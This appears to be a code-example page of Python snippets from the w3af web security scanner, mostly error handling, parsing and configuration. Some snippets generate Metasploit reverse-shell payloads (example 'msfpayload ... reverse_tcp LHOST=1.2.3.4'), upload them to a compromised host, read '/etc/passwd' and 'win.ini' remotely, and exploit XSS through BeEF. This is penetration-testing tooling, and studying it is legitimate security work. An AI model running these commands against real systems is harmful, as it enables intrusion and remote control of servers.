Beispiel #1
0
    def __init__(self, w3af, response_list, distance_function=LEVENSHTEIN):
        '''
        @parameter response_list: A list with the responses to graph.
        '''
        self.w3af = w3af
        w3afDotWindow.__init__(self)
        self.widget.connect('clicked', self.on_url_clicked)
        
        # Now I generate the dotcode based on the data
        if distance_function == LEVENSHTEIN:
            dotcode = self._generateDotCode(response_list, distance_function=self._relative_distance)
        elif distance_function == HTTP_RESPONSE:
            dotcode = self._generateDotCode(response_list, distance_function=self._http_code_distance)
        elif distance_function == CONTENT_LENGTH:
            dotcode = self._generateDotCode(response_list, distance_function=self._response_length_distance)
        elif distance_function.startswith('def customized_distance'):
            try:
                callable_object = self._create_callable_object( distance_function )
            except Exception, e:
                # TODO: instead of hiding..., which may consume memory... why don't killing?
                self.hide()
                msg = 'Please review your customized code. An error was raised while compiling: "'
                msg += str(e) + '"'
                raise w3afException( msg )

            try:
                dotcode = self._generateDotCode(response_list, distance_function=callable_object)
            except Exception, e:
                # TODO: instead of hiding..., which may consume memory... why don't killing?
                self.hide()
                msg = 'Please review your customized code. An error was raised on run time: "'
                msg += str(e) + '"'
                raise w3afException( msg )
Beispiel #2
0
    def __init__(self, httpResponse):

        # Create the proper parser instance, please note that
        # the order in which we ask for the type is not random,
        # first we discard the images which account for a great
        # % of the URLs in a site, then we ask for WML which is
        # a very specific thing to match, then we try text or HTML
        # which is very generic (if we would have exchanged these two
        # we would have never got to WML), etc.
        if httpResponse.is_image():
            msg = 'There is no parser for images.'
            raise w3afException(msg)
        elif self._isWML(httpResponse):
            parser = wmlParser.wmlParser(httpResponse)
        elif httpResponse.is_text_or_html():
            parser = htmlParser.HTMLParser(httpResponse)
        elif self._isPDF(httpResponse):
            parser = pdfParser.pdfParser(httpResponse)
        elif self._isSWF(httpResponse):
            parser = swfParser.swfParser(httpResponse)
        else:
            msg = 'There is no parser for "%s".' % httpResponse.getURL()
            raise w3afException(msg)
        
        self._parser = parser
Beispiel #3
0
    def find(self, searchData, resultLimit=-1, orderData=[], full=False):
        '''Make complex search.
        search_data = {name: (value, operator), ...}
        orderData = [(name, direction)]
        '''
        if not self._db:
            raise w3afException('The database is not initialized yet.')
        result = []
        sql = 'SELECT * FROM ' + self._dataTable
        where = WhereHelper(searchData)
        sql += where.sql()
        orderby = ""
        # 
        # TODO we need to move SQL code to parent class
        #
        for item in orderData:
            orderby += item[0] + " " + item[1] + ","
        orderby = orderby[:-1]

        if orderby:
            sql += " ORDER BY " + orderby

        sql += ' LIMIT '  + str(resultLimit)
        try:
            rawResult = self._db.retrieve(sql, where.values(), all=True)
            for row in rawResult:
                item = self.__class__()
                item._loadFromRow(row, full)
                result.append(item)
        except w3afException:
            raise w3afException('You performed an invalid search. Please verify your syntax.')
        return result
Beispiel #4
0
    def _send_exe_to_server(self, exe_file):
        """
        This method should be implemented according to the remote operating system. The idea here is to
        send the exe_file to the remote server and save it in a file.
        
        @param exe_file: The local path to the executable file
        @return: The name of the remote file that was uploaded.
        """
        om.out.debug("Called _send_exe_to_server()")
        om.out.console("Wait while w3af uploads the payload to the remote server...")

        ptf = payloadTransferFactory(self._exec_method)

        # Now we get the transfer handler
        wait_time_for_extrusion_scan = ptf.estimateTransferTime()
        transferHandler = ptf.getTransferHandler()

        if not transferHandler.canTransfer():
            raise w3afException("Can't transfer the file to remote host, canTransfer() returned False.")
        else:
            om.out.debug("The transferHandler can upload files to the remote end.")

            estimatedTime = transferHandler.estimateTransferTime(len(exe_file))
            om.out.debug('The payload transfer will take "' + str(estimatedTime) + '" seconds.')

            self._remote_filename = getRemoteTempFile(self._exec_method)
            om.out.debug('Starting payload upload, remote filename is: "' + self._remote_filename + '".')

            if transferHandler.transfer(file(exe_file).read(), self._remote_filename):
                om.out.console('Finished payload upload to "%s"' % self._remote_filename)
                return self._remote_filename
            else:
                raise w3afException("The payload upload failed, remote md5sum is different.")
Beispiel #5
0
    def _generate_exe(self, payload, parameters):
        """
        This method should be implemented according to the remote operating system. The idea here
        is to generate an ELF/PE file and return a string that represents it.

        The method will basically run something like:
        msfpayload linux/x86/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8443 X > /tmp/output2.exe
        
        @param payload: The payload to generate (linux/x86/meterpreter/reverse_tcp)
        @param parameters: A list with the parameters to send to msfpayload ['LHOST=1.2.3.4', 'LPORT=8443']
        
        @return: The name of the generated file, in the example above: "/tmp/output2.exe"
        """
        temp_dir = tempfile.gettempdir()
        randomness = str(random.randint(0, 293829839))
        output_filename = os.path.join(temp_dir, "msf-" + randomness + ".exe")

        command = "%s %s %s X > %s" % (self._msfpayload_path, payload, " ".join(parameters), output_filename)
        os.system(command)

        if "reverse" in payload:
            om.out.console("Remember to setup your firewall to allow the reverse connection!")

        if os.path.isfile(output_filename):

            #    Error handling
            file_content = file(output_filename).read()
            for tag in ["Invalid", "Error"]:
                if tag in file_content:
                    raise w3afException(file_content.strip())

            return output_filename
        else:
            raise w3afException("Something failed while creating the payload file.")
Beispiel #6
0
    def init( self ):
        '''
        Open files and init some variables
        '''
        if not self._already_init:
            self._already_init = True

            try:
                if self._usersFile != "":
                    self._usersFD = open( self._usersFile )
            except:
                raise w3afException('Can\'t open ' + self._usersFile + ' file.')

            try:
                if self._passwdFile != "":
                    self._passwordsFD = open( self._passwdFile )
            except:
                raise w3afException('Can\'t open ' + self._passwdFile + ' file.')

            try:
                if self._comboFile != "":
                    self._comboFD = open( self._comboFile )
            except:
                raise w3afException('Can\'t open ' + self._comboFile + ' file.')
                
            self._genSpecialPasswords()
            self._genSpecialUsers()
Beispiel #7
0
 def __init__(self, profname='', workdir=None):
     '''
     Creating a profile instance like p = profile() is done in order to be
     able to create a new profile from scratch and then call
     save(profname).
     
     When reading a profile, you should use p = profile(profname).
     '''
     # The default optionxform transforms the option to lower case;
     # w3af needs the value as it is
     optionxform = lambda opt: opt
         
     self._config = ConfigParser.ConfigParser()
     # Set the new optionxform function
     self._config.optionxform = optionxform
     
     if profname:
         # Get profile name's complete path
         profname = self._get_real_profile_name(profname, workdir)
         with codecs.open(profname, "rb", UTF8) as fp:
             try:
                 self._config.readfp(fp)
             except ConfigParser.Error, cpe:
                 msg = 'ConfigParser error in profile: "%s". Exception: "%s"'
                 raise w3afException( msg % (profname, str(cpe)))
             except Exception, e:
                 msg = 'Unknown error in profile: "%s". Exception: "%s"'
                 raise w3afException( msg % (profname, str(e)))
Beispiel #8
0
    def _cmd_desc(self, params):

        if len(params) == 0:
            raise w3afException("Plugin name is required")

        pluginName = params[0]
        if pluginName not in self._plugins:
            raise w3afException("Unknown plugin: '%s'" % pluginName)

        plugin = self._w3af.getPluginInstance(pluginName, self._name)
        om.out.console(str(plugin.getLongDesc()))
def httpRequestParser(head, postdata):
    '''
    This function parses HTTP Requests from a string to a fuzzableRequest.
    
    @parameter head: The head of the request.
    @parameter postdata: The post data of the request
    @return: A fuzzableRequest object with all the corresponding information that was sent in head and postdata
    
    @author: Andres Riancho ( [email protected] )
    '''
    # Parse the request head
    splitted_head = head.split('\n')
    splitted_head = [h.strip() for h in splitted_head if h]
    
    if not splitted_head:
        msg = 'The HTTP request is invalid.'
        raise w3afException(msg)        
    
    # Get method, uri, version
    metUriVer = splitted_head[0]
    firstLine = metUriVer.split(' ')
    if len(firstLine) == 3:
        # Ok, we have something like "GET /foo HTTP/1.0". This is the best case for us!
        method, uri, version = firstLine
    elif len(firstLine) < 3:
        msg = 'The HTTP request has an invalid <method> <uri> <version> token: "'
        msg += metUriVer +'".'
        raise w3afException(msg)
    elif len(firstLine) > 3:
        # GET /hello world.html HTTP/1.0
        # Mostly because we are permissive... we are going to try to send the request...
        method = firstLine[0]
        version = firstLine[-1]
        uri = ' '.join( firstLine[1:-1] )
    
    checkVersionSintax(version)
    
    # If we got here, we have a nice method, uri, version first line
    # Now we parse the headers (easy!) and finally we send the request
    headers = splitted_head[1:]
    headersDict = {}
    for header in headers:
        one_splitted_header = header.split(':', 1)
        if len(one_splitted_header) == 1:
            raise w3afException('The HTTP request has an invalid header: "' + header + '"')
        headersDict[ one_splitted_header[0].strip() ] = one_splitted_header[1].strip()
    host = ''
    for headerName in headersDict:
        if headerName.lower() == 'host':
            host = headersDict[headerName]
    uri = checkURISintax(uri, host)
    fuzzReq = createFuzzableRequestRaw(method, uri, postdata, headersDict)
    return fuzzReq
Beispiel #10
0
    def setValue( self, value ):
        '''
        @parameter value: The value parameter is set by the user interface, which for example sends 'True' or 'a,b,c'

        Based on the value parameter and the option type, I have to create a nice looking object like True or ['a','b','c'].
        This replaces the *old* parseOptions.
        '''
        try:
            if self._type == 'integer':
                res = int(value)
            elif self._type == 'float':
                res = float(value)
            elif self._type == 'boolean':
                if value.lower() == 'true':
                    res = True
                else:
                    res = False
            elif self._type == 'list':
                res = []
                # Yes, we are regex dummies
                value += ','
                tmp = re.findall('(".*?"|\'.*?\'|.*?),', str(value))
                if tmp:
                    tmp = [y.strip() for y in tmp if y != '']
                    
                    # Now I check for single and double quotes
                    for u in tmp:
                        if ( u.startswith('"') and u.endswith('"') ) or ( u.startswith("'") and u.endswith("'") ):
                            res.append( u[1:-1] )
                        else:
                            res.append( u )

                else:
                    raise ValueError
            elif self._type in ('string', 'ipport'):
                res = str(value)
            elif self._type == 'regex':
                # Parse regex stuff...
                try:
                    re.compile(value)
                except:
                    msg = 'The regular expression "%s" is invalid!' % value
                    raise w3afException( msg )
                else:
                    res = value
                # end regex stuff
                
            else:
                raise w3afException('Unknown type: ' + self._type)
        except ValueError:
            raise w3afException('The value "' + value + '" cannot be casted to "' + self._type + '".')
        else:
            self._value = res
    def setOptions( self, optionsMap ):
        '''
        Handle user configuration parameters.
        @return: None
        '''
        # The not yet compiled all_in_one_regex
        tmp_not_compiled_all = []
        #
        #   Add the regexes from the file
        #
        self._regexlist_compiled = []
        regex_file_path = optionsMap['regex_file_path'].getValue()
        if regex_file_path and not regex_file_path == 'None':
            self._regex_file_path = regex_file_path
            current_regex = ''
            try:
                f = file( self._regex_file_path)
            except:
                raise w3afException('File not found')
            else:
                for regex in f:
                    current_regex = regex.strip()
                    try:
                        self._regexlist_compiled.append((re.compile(current_regex, 
                                                                   re.IGNORECASE | re.DOTALL), None))
                        tmp_not_compiled_all.append(current_regex)
                    except:
                        f.close()
                        raise w3afException('Invalid regex in regex file: '+current_regex)
                f.close()

        #
        #   Add the single regex
        #
        self._single_regex = optionsMap['single_regex'].getValue()
        if self._single_regex and not self._single_regex == 'None':
            try:
                self._regexlist_compiled.append((re.compile(self._single_regex, 
                                                           re.IGNORECASE | re.DOTALL), None))
                tmp_not_compiled_all.append(self._single_regex)
            except:
                raise w3afException('Invalid regex in the single_regex field!')
        #
        #   Compile all in one regex
        #
        if tmp_not_compiled_all:
            # get a string like (regexA)|(regexB)|(regexC)
            all_in_one_uncompiled = '('+')|('.join(tmp_not_compiled_all)+')'
            self._all_in_one = re.compile(all_in_one_uncompiled, re.IGNORECASE | re.DOTALL)
Beispiel #12
0
    def run(self, user_defined_parameters):
        """
        This is the entry point. We get here when the user runs the "payload vdaemon linux/x86/meterpreter/reverse_tcp"
        command in his w3af shell after exploiting a vulnerability.
        
        @param user_defined_parameters: The parameters defined by the user, for example, the type of payload to send.
        @return: True if we succeded.
        """

        #
        #    We follow the same order as MSF, but we only allow the user to generate executable files
        #
        #    Usage: /opt/metasploit3/msf3/msfpayload <payload> [var=val] ...
        #
        msg = "IMPORTANT:\n"
        msg += "    You need to specify the payload type in MSF format as if you "
        msg += "were calling msfpayload: \n"
        msg += "    linux/x86/meterpreter/reverse_tcp LHOST=1.2.3.4\n"
        msg += '    And then add a pipe ("|") to add the msfcli parameters for '
        msg += "handling the incoming connection (in the case of a reverse "
        msg += "shell) or connect to the remote server.\n"
        msg += "    A complete example looks like this:\n"
        msg += "    linux/x86/meterpreter/reverse_tcp LHOST=1.2.3.4 | exploit/multi/handler PAYLOAD=linux/x86/meterpreter/reverse_tcp LHOST=1.2.3.4 E"

        if not len(user_defined_parameters):
            raise w3afException(msg)

        found_pipe = False
        for i in user_defined_parameters:
            if i == "|":
                found_pipe = True
                break
        else:
            raise w3afException(msg)

        msfpayload_parameters = user_defined_parameters[: user_defined_parameters.index("|")]
        msfcli_parameters = user_defined_parameters[user_defined_parameters.index("|") + 1 :]

        payload = msfpayload_parameters[0]
        msfpayload_parameters = msfpayload_parameters[1:]

        msfcli_handler = msfcli_parameters[0]
        msfcli_parameters = msfcli_parameters[1:]

        try:
            executable_file_name = self._generate_exe(payload, msfpayload_parameters)
        except Exception, e:
            raise w3afException('Failed to create the payload file, error: "%s".' % str(e))
Beispiel #13
0
    def exploit( self, vulnToExploit=None ):
        '''
        Exploits a XSS vuln that was found and stored in the kb.

        @return: True if the shell is working and the user can start calling specific_user_input
        '''
        om.out.console( 'Browser Exploitation Framework - by Wade Alcorn http://www.bindshell.net' )
        xss_vulns = kb.kb.getData( 'xss' , 'xss' )
        if not self.canExploit():
            raise w3afException('No cross site scripting vulnerabilities have been found.')
        
        # First I'll configure the beef server, if this is unsuccessfull, then nothing else 
        # should be done!
        #
        # GET http://localhost/beef/submit_config.php?config=http://localhost/beef/&passwd=
        #beEFconfigPass HTTP/1.1
        config_URL = self._beefURL.urlJoin('submit_config.php' )
        config_URI = config_URL + '?config=' + self._beefURL + '&passwd=' + self._beefPasswd
        config_URI = url_object( config_URI )
        response = self._urlOpener.GET( config_URI )
        if response.getBody().count('BeEF Successfuly Configured'):
            # everything ok!
            pass
        elif 'Incorrect BeEF password, please try again.' in response.getBody():
            raise w3afException('Incorrect password for beEF configuration.')
        elif 'Permissions on the' in response.getBody():
            raise w3afException('Incorrect BeEF installation')
        else:
            raise w3afException('BeEF installation not found.')
            
        
        # Try to get a proxy using one of the vulns
        for vuln_obj in xss_vulns:
            msg = 'Trying to exploit using vulnerability with id: ' + str( vuln_obj.getId() )
            om.out.console( msg )
            if self._generateProxy(vuln_obj):
                # TODO: Create a proxy instead of a shell
                # Create the shell object
                shell_obj = xssShell(vuln_obj)
                shell_obj.setBeefURL( self._beefURL )
                kb.kb.append( self, 'shell', shell_obj )
                
                return [ shell_obj, ]
            else:
                msg = 'Failed to exploit using vulnerability with id: ' + str( vuln_obj.getId() )
                om.out.console( msg )
                    
        return []
def osDetectionExec( execMethod ):
    '''
    Uses the execMethod to run remote commands and determine what's the remote OS is
    and returns a string with 'windows' or 'linux' or raises a w3afException if unknown.
    '''
    try:
        linux1 = apply( execMethod, ( 'echo -n w3af',))
        linux2 = apply( execMethod, ( 'head -n 1 /etc/passwd',))
    except:
        pass
    else:
        if 'w3af' == linux1 and linux2.count(':') > 2:
            om.out.debug('Identified remote OS as Linux, returning "linux".')
            return 'linux'
        
    try:
        # Try if it's a windows system
        win1 = apply( execMethod, ( 'type %SYSTEMROOT%\\win.ini',))
        win2 = apply( execMethod, ( 'echo /?',))
    except:
        pass
    else:
        if '[fonts]' in win1 and 'ECHO' in win2:
            om.out.debug('Identified remote OS as Windows, returning "windows".')
            return 'windows'
    
    raise w3afException('Failed to get/identify the remote OS.')
Beispiel #15
0
 def _getUser( self ):
     '''
     Get the user for this combination.
     '''
     user = None
     
     if self._eofUsers:
         # The file with users is now over, here i'll add the "special" users
         
         # This variable (self._nextUser) is modified to True by the _getPassword method.
         if self._nextUser:
             self._specialUserIndex += 1
             self._nextUser = False
         
         if len( self._specialUsers ) > self._specialUserIndex:
             user = self._specialUsers[ self._specialUserIndex ]
         else:
             self._specialPassIndex = -1
             raise w3afException('No more users to test.')
         
     else:
         if self._nextUser:
             self._nextUser = False
             user = self._user = self._usersFD.readline().strip()
             if user == '':
                 self._eofUsers = True
         else:
             user = self._user
                 
     return user
Beispiel #16
0
    def _do_google_search(self):
        
        start = self._start
        res_pages = []
        max_start = start + self._count
        param_dict = {'dc': 'gorganic', 'hl': 'en', 'q': self._query,
                      'sa': 'N', 'source': 'mobileproducts'}
        there_is_more = True
        
        while start < max_start and there_is_more:
            param_dict['start'] = start
            params = urllib.urlencode(param_dict)
            gm_url = self.GOOGLE_SEARCH_URL + params
            gm_url_instance = url_object(gm_url)
            response = self._do_GET( gm_url_instance )               
            
            if GOOGLE_SORRY_PAGE in response:
                raise w3afException(
                      'Google is telling us to stop doing automated tests.')
            
            if not self._has_more_items(response.getBody()):
                there_is_more = False
            
            res_pages.append(response)                          
            start += 10

        return res_pages
Beispiel #17
0
    def _do_google_search(self):
        res_pages = []
        
        start = self._start
        max_start = start + self._count
        there_is_more = True
        
        while start < max_start  and there_is_more:
            params = urllib.urlencode({'hl': 'en', 'q': self._query,
                                       'start': start, 'sa': 'N'})
            
            google_url_instance = url_object(self.GOOGLE_SEARCH_URL + params)
            response = self._do_GET( google_url_instance )
            
            # Remember that httpResponse objects have a faster "__in__" than
            # the one in strings; so string in response.getBody() is slower than
            # string in response
            if GOOGLE_SORRY_PAGE in response:
                raise w3afException(
                      'Google is telling us to stop doing automated tests.')
            if not self._has_more_items(response.getBody()):
                there_is_more = False

            # Save the result page
            res_pages.append(response)
            
            start += 10

        return res_pages
Beispiel #18
0
 def _send_requests( self, fuzzableRequest ):
     '''
     Actually send the requests that might be blocked.
     @parameter fuzzableRequest: The fuzzableRequest to modify in order to see if it's blocked
     '''
     rnd_param = createRandAlNum(7)
     rnd_value = createRandAlNum(7)
     original_url_str = fuzzableRequest.getURL() + '?' + rnd_param + '=' + rnd_value
     original_url = url_object(original_url_str)
     
     try:
         original_response_body = self._urlOpener.GET( original_url , useCache=True ).getBody()
     except Exception:
         msg = 'Active filter detection plugin failed to receive a '
         msg += 'response for the first request. Can not perform analysis.'
         raise w3afException( msg )
     else:
         original_response_body = original_response_body.replace( rnd_param, '' )
         original_response_body = original_response_body.replace( rnd_value, '' )
         
         for offending_string in self._get_offending_strings():
             offending_URL = fuzzableRequest.getURL() + '?' + rnd_param + '=' + offending_string
             
             # Perform requests in different threads
             targs = (offending_string, offending_URL, original_response_body, rnd_param)
             self._tm.startFunction( target=self._send_and_analyze, args=targs, ownerObj=self )
         
         # Wait for threads to finish
         self._tm.join( self )
         
         # Analyze the results
         return self._filtered, self._not_filtered
Beispiel #19
0
    def _verifyURL(self, target_url, fileTarget=True):
        '''
        Verify if the URL is valid and raise an exception if w3af doesn't support it.
        >>> ts = targetSettings()        
        >>> ts._verifyURL( url_object('ftp://www.google.com/') )
        Traceback (most recent call last):
          ...
        w3afException: Invalid format for target URL "ftp://www.google.com/", you have to specify the protocol (http/https/file) and a domain or IP address. Examples: http://host.tld/ ; https://127.0.0.1/ .
        >>> ts._verifyURL( url_object('http://www.google.com/') )
        >>> ts._verifyURL( url_object('http://www.google.com:39/')) is None
        True
        
        @param target_url: The target URL object to check if its valid or not.
        @return: None. A w3afException is raised on error.
        '''
        protocol = target_url.getProtocol()
        domain = target_url.getDomain() or ''
        
        aFile = fileTarget and protocol == 'file' and domain
        aHTTP = protocol in ['http', 'https'] and target_url.is_valid_domain()

        if not (aFile or aHTTP):
            msg = 'Invalid format for target URL "%s", you have to specify ' \
            'the protocol (http/https/file) and a domain or IP address. ' \
            'Examples: http://host.tld/ ; https://127.0.0.1/ .' % target_url
            raise w3afException( msg )
Beispiel #20
0
 def _init(self):
     try:
         self._file = open(self._file_name, "w")
     except IOError, io:
         msg = "Can't open report file \"" + os.path.abspath(self._file_name) + '" for writing'
         msg += ': "' + io.strerror + '".'
         raise w3afException(msg)
Beispiel #21
0
 def read(self, id, full=True):
     '''Return item by ID.'''
     if not self._db:
         raise w3afException('The database is not initialized yet.')
     resultItem = self.__class__()
     resultItem.load(id, full)
     return resultItem
Beispiel #22
0
 def _preParse(self, document):
     '''
     Parse the document!
     
     @parameter document: The document that we want to parse.
     '''
     raise w3afException('You have to override the _preParse method when subclassing sgmlParser class.')
def getRemoteTempFile( execMethod ):
    '''
    @return: The name of a file in the remote file system that the user that I'm executing commands with
    can write, read and execute. The normal responses for this are files in /tmp/ or %TEMP% depending
    on the remote OS.
    '''
    os = osDetectionExec( execMethod )
    if  os == 'windows':
        _filename = apply( execMethod, ('echo %TEMP%',) ).strip() + '\\'
        _filename += createRandAlNum(6)
        
        # verify existance
        dirRes = apply( execMethod, ('dir '+_filename,) ).strip().lower()
        if 'not found' in dirRes:
            # Shit, the file exists, run again and see what we can do
            return getRemoteTempFile( execMethod )
        else:
            return _filename
        return _filename
        
        
    elif os == 'linux':
        _filename = '/tmp/' + createRandAlNum( 6 )
        
        # verify existance
        lsRes = apply( execMethod, ('ls '+_filename,) ).strip()
        if _filename == lsRes:
            # Shit, the file exists, run again and see what we can do
            return getRemoteTempFile( execMethod )
        else:
            return _filename
    else:
        raise w3afException('Failed to create filename for a temporary file in the remote host.')
Beispiel #24
0
 def initStructure(self):
     '''Init history structure.'''
     sessionName = cf.cf.getData('sessionName')
     dbName = os.path.join(get_temp_dir(), 'db_' + sessionName)
     self._db = DB()
     # Check if the database already exists
     if os.path.exists(dbName):
         # Find one that doesn't exist
         for i in xrange(100):
             newDbName = dbName + '-' + str(i)
             if not os.path.exists(newDbName):
                 dbName = newDbName
                 break
     self._db.connect(dbName)
     self._sessionDir = os.path.join(get_temp_dir(),
                                     self._db.getFileName() + '_traces')
     tablename = self.getTableName()
     # Init tables
     self._db.createTable(
             tablename,
             self.getColumns(),
             self.getPrimaryKeyColumns())
     self._db.createIndex(tablename, self.getIndexColumns())
     # Init dirs
     try:
         os.mkdir(self._sessionDir)
     except OSError, oe:
         # [Errno EEXIST] File exists
         if oe.errno != EEXIST:
             msg = 'Unable to write to the user home directory: ' + get_temp_dir()
             raise w3afException(msg)
Beispiel #25
0
 def _get_real_profile_name(self, profilename, workdir):
     '''
     Return the complete path for `profilename`.
     
     @raise w3afException: If no existing profile file is found this
         exception is raised with the proper desc message.
     '''
     # Alias for os.path. Minor optimization
     ospath = os.path
     pathexists = os.path.exists
     
     # Add extension if necessary
     if not profilename.endswith('.pw3af'):
         profilename += '.pw3af'
     profname = profilename
     
     # Try to find the file
     found = pathexists(profname)
     
     if not (ospath.isabs(profname) or found):
         profname = ospath.join(get_home_dir(), 'profiles', profilename)
         found = pathexists(profname)
         # Ok, let's try to find it in the passed working directory.
         if not found and workdir:
             profname = ospath.join(workdir, profilename)
             found = pathexists(profname)
                     
     if not found:
         raise w3afException('The profile "%s" wasn\'t found.' % profilename)
     return profname
Beispiel #26
0
 def getPluginOptions( self, pluginType, pluginName ):
     '''
     @return: A dict with the options for a plugin. For example: { 'LICENSE_KEY':'AAAA' }
     '''
     # Get the plugin defaults with their types
     pluginInstance = factory('plugins.' + pluginType + '.' + pluginName )
     optionsMap = pluginInstance.getOptions()
     
     for section in self._config.sections():
         # Section is something like audit.xss or discovery.webSpider
         try:
             type, name = section.split('.')
         except:
             pass
         else:
             if type == pluginType and name == pluginName:
                 for option in self._config.options(section):
                     try:
                         value = self._config.get(section, option)
                     except KeyError,k:
                         # We should never get here...
                         msg = 'The option "%s" is unknown for the "%s" plugin.'
                         raise w3afException( msg % (option, pluginName) )
                     else:
                         optionsMap[option].setValue(value)
 def setOptions( self, optionsMap ):
     '''
     This method sets all the options that are configured using the user interface 
     generated by the framework using the result of getOptions().
     
     @parameter optionsMap: A dictionary with the options for the plugin.
     @return: No value is returned.
     '''
     cf.cf.save('fuzzableCookie', optionsMap['fuzzCookie'].getValue() )
     cf.cf.save('fuzzFileContent', optionsMap['fuzzFileContent'].getValue() )
     cf.cf.save('fuzzFileName', optionsMap['fuzzFileName'].getValue() )
     cf.cf.save('fuzzFCExt', optionsMap['fuzzFCExt'].getValue() )
     cf.cf.save('fuzzFormComboValues', optionsMap['fuzzFormComboValues'].getValue() )
     cf.cf.save('autoDependencies', optionsMap['autoDependencies'].getValue() )
     cf.cf.save('maxDiscoveryTime', optionsMap['maxDiscoveryTime'].getValue() )
     
     if optionsMap['maxThreads'].getValue()  > 100:
         raise w3afException('The maximum valid number of threads is 100.')
     max_threads = optionsMap['maxThreads'].getValue()
     cf.cf.save('maxThreads', max_threads )
     tm.setMaxThreads( max_threads )
     
     cf.cf.save('fuzzableHeaders', optionsMap['fuzzableHeaders'].getValue() )
     cf.cf.save('interface', optionsMap['interface'].getValue() )
     cf.cf.save('localAddress', optionsMap['localAddress'].getValue() )
     cf.cf.save('demo', optionsMap['demo'].getValue()  )
     cf.cf.save('nonTargets', optionsMap['nonTargets'].getValue() )
     cf.cf.save('exportFuzzableRequests', optionsMap['exportFuzzableRequests'].getValue() )
     
     cf.cf.save('msf_location', optionsMap['msf_location'].getValue() )
Beispiel #28
0
 def getRemoteFileSize( self, req, useCache=True ):
     '''
     This method was previously used in the framework to perform a HEAD request before each GET/POST (ouch!)
     and get the size of the response. The bad thing was that I was performing two requests for each resource...
     I moved the "protection against big files" to the keepalive.py module.
     
     I left it here because maybe I want to use it at some point... Mainly to call it directly or something.
     
     @return: The file size of the remote file.
     '''
     res = self.HEAD( req.get_full_url(), headers=req.headers, data=req.get_data(), useCache=useCache )  
     
     resource_length = None
     for i in res.getHeaders():
         if i.lower() == 'content-length':
             resource_length = res.getHeaders()[ i ]
             if resource_length.isdigit():
                 resource_length = int( resource_length )
             else:
                 msg = 'The content length header value of the response wasn\'t an integer...'
                 msg += ' this is strange... The value is: "' + res.getHeaders()[ i ] + '"'
                 om.out.error( msg )
                 raise w3afException( msg )
     
     if resource_length is not None:
         return resource_length
     else:
         msg = 'The response didn\'t contain a content-length header. Unable to return the'
         msg += ' remote file size of request with id: ' + str(res.id)
         om.out.debug( msg )
         # I prefer to fetch the file, before this om.out.debug was a "raise w3afException", but this didnt make much sense
         return 0
Beispiel #29
0
 def getName( self ):
     '''
     This method is called when the shell is used, in order to create a prompt for the user.
     
     @return: The name of the shell ( osCommandingShell, davShell, etc )
     '''
     raise w3afException('You should implement the getName method of classes that inherit from "shell"')
Beispiel #30
0
    def load(self, id=None, full=True, retry=True):
        '''Load data from DB by ID.'''
        if not self._db:
            raise w3afException('The database is not initialized yet.')

        if not id:
            id = self.id

        sql = 'SELECT * FROM ' + self._dataTable + ' WHERE id = ? '
        try:
            row = self._db.retrieve(sql, (id,))
        except Exception, e:
            msg = 'An unexpected error occurred while searching for id "%s".'
            msg += ' Original exception: "%s".'
            msg = msg % (id, e)
            raise w3afException( msg )